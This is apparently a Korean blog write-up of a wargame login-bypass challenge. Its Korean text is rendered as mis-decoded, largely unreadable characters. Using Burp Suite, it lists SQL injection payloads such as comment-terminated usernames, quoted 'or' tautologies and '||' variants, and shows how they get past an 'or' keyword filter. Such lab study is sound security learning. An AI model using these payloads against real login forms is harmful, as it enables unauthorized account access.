[SegFault] Authentication Bypass (Login)
Login Bypass 2.
normaltic2 ๋ก ๋ก๊ทธ์ธํ์!
๋ฌธ์ ํ์
- ์์ ํ์ด์ง์ ์ ์ํ๋ฉด ์๋์ ๊ฐ์ ํ๋ฉด์ด ๋์จ๋ค.
- ์๊ณ ์๋ ๊ณ์ : [ID/PW] : doldol / dol1234
- Burp Suite์ ์ด์ฉํ์ฌ ์ฌ์ดํธ ์ ์ ๊ณผ์ ์ ์ํ์ฝ๋(Status code) ํ์ธํ๋ค.
- 200 OK
- ๋ก๊ทธ์ธ ๊ณผ์ ์ ๊ตฌ์กฐ๋ฅผ ์๊ธฐ ์ํด, ์ฐ์ ์๊ณ ์๋ ์ ๋ณด๋ก ๋ก๊ทธ์ธ ํด๋ณธ๋ค.
- ๋ก๊ทธ์ธ ๊ณผ์ ์ ํ์คํ ๋ฆฌ(HTTP history), ์ํ์ฝ๋(Status code) ํ์ธํ๋ค.
- 302 Found
- 200 OK
- ์์ฒญ(Request)์ ์ดํด๋ณด์ !
- /login2/login.php ๊ฒฝ๋ก์ post๋ฉ์๋๋ก ํ๋ผ๋ฏธํฐ UserId=doldol&Password=dol1234&Submit=Login ๋ค์ด๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
- ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ index.php๋ก ๋ฆฌ๋๋ ์ ๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
์๊ฐ ๊ณผ์
์๊ฐ ๊ณผ์
1. SQL Injection์ด ๊ฐ๋ฅํ๊ฐ? Yes
-> doldol' and '1'='1 / dol1234 ๋ก ๋ก๊ทธ์ธ ์๋ : ์ฑ๊ณต
2. ์ด๋ค ๋ก์ง์ผ๋ก ์ด๋ฃจ์ด์ ธ ์์๊น?
2-1. ์๋ณ/์ธ์ฆ ๋์ normaltic2'or'1'='1/ ์๋ฌด๊ฑฐ๋ ์๋ :์คํจ(Fail)
2-2. or ํํฐ๋ง?! normaltic2'# / ์๋ฌด๊ฑฐ๋ ์๋
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
- or ์ ๋ํ ํํฐ๋ง์ด๋ผ๊ณ ์๊ฐํ๊ณ normaltic2'#์ผ๋ก ๋ก๊ทธ์ธ์ด ๊ฐ๋ฅํ๋ค.
- ํ์ง๋ง or ๊ฐ ์ด๋ค์์ผ๋ก ํํฐ๋ง ๋์ด ์๋์ง๋ฅผ ์๊ฐํด๋ณด๋ ๊ฒ์ด ์ค์ํ๊ธฐ ๋๋ฌธ์ ๋ค์๊ณผ ๊ฐ์ด ํ ์คํธ ํด๋ณด์๋ค.
or ํํฐ๋ง ํ ์คํธ
์์ธก ๊ฐ๋ฅํ ํํฐ๋ง
' or ' ์ด ํํฐ๋ง ๋๋ค๊ณ ์๊ฐํ๋ฉด
normaltic' or '1' -> normaltic1' ๊ฐ ๋๋ค.
'or ์ด ํํฐ๋ง ๋๋ค๊ณ ์๊ฐํ๋ฉด
normaltic' or'1' -> normaltic' 1 ๊ฐ ๋์ด ์๋๋ค.
or' ์ด ํํฐ๋ง ๋๋ค๊ณ ์๊ฐํ๋ฉด
normaltic'or '1' -> normaltic '1 ๊ฐ ๋์ด ์๋๋ค.
'or' ์ด ํํฐ๋ง ๋๋ค๊ณ ์๊ฐํ๋ฉด
normaltic'or'1' -> normaltic1' ์ด ๋์ด ๋์ผํ๋ค.
ํ ์คํธ ํด๋ณด๋ฉด ์๋์ ๊ฐ๋ค.
' or ' (์๊ณต๋ฐฑO๋ท๊ณต๋ฐฑX)
normaltic' or'1' = '1'# ์คํจ
'or ' (์๊ณต๋ฐฑX๋ท๊ณต๋ฐฑO)
normaltic'or '1' = '1'# ์คํจ
'or' (๊ณต๋ฐฑ ์์)
normaltic'or'1' = '1'#
' or ' (์๋ค ๊ณต๋ฐฑ)
normaltic' or '1' = '1'# normaltic1์ผ๋ก ์ฑ๊ณต
- ์ฆ ์๋ค ๊ณต๋ฐฑ์ด ์๋ ๊ฒฝ์ฐ๋ง ๋ค์ ์ซ์๊ฐ ์ ๋๋ก ๋ถ์ด์ ์ด์ด์ง์ ์ ์ ์๋ค.
- ์์ ๊ฒฐ๊ณผ๋ฅผ ๋ฐํ์ผ๋ก ์๊ฐํด๋ณด๋ฉด?
๋ค๋ฅธ ํ์ด๋ฒ
- normaltic' or '2' = '1'# ์ ๋ฃ์์๋ normaltic2๋ก ๋ก๊ทธ์ธ๋์ด ์ด ๋ฐฉ๋ฒ์ผ๋ก๋ ํ ์ ์์์ ์ ์ ์๋ค.
๋ํ ์ด ๋ฌธ์ ์ ํํฐ๋ง์ ๋ฌธ์ or์ ํํฐ๋ง ํ๊ฒ์ด๊ธฐ ๋๋ฌธ์
- normaltic2'||'1'='1 ๋ก normaltic2๋ก ๋ก๊ทธ์ธ์ด ๊ฐ๋ฅํ๋ค.
- || ์ด๋ผ๋ or ์ฐ์ฐ์์ ๋ํด์๋ ์๋งํ ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์๊ฐํด๋ณผ ์
์ ์ฒด ์กฐํ๊ฐ ๋๋ ๊ฒฝ์ฐ
normaltic1' = '0'#
normaltic1' = False#
normaltic1์ผ๋ก ๋ก๊ทธ์ธ๋๋ ๊ฒฝ์ฐ
normaltic1' = True#
normaltic1'#
- ์๋ณ๊ณผ ์ธ์ฆ์ด ๋์์ ๋๋ ๊ฒฝ์ฐ์ '# ์ ํตํด์ password ๋ถ๋ถ์ ์ฃผ์์ฒ๋ฆฌ ํด์ค๋ค.
- ์์ id ๋ถ๋ถ๋ง ์ด์ฉํ์ฌ ์ฐธ, ๊ฑฐ์ง์ ๋ฐ๋ผ ์กฐํ๋๋ ์ ๋ณด๊ฐ ๋ค๋ฆ์ ์ ์ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์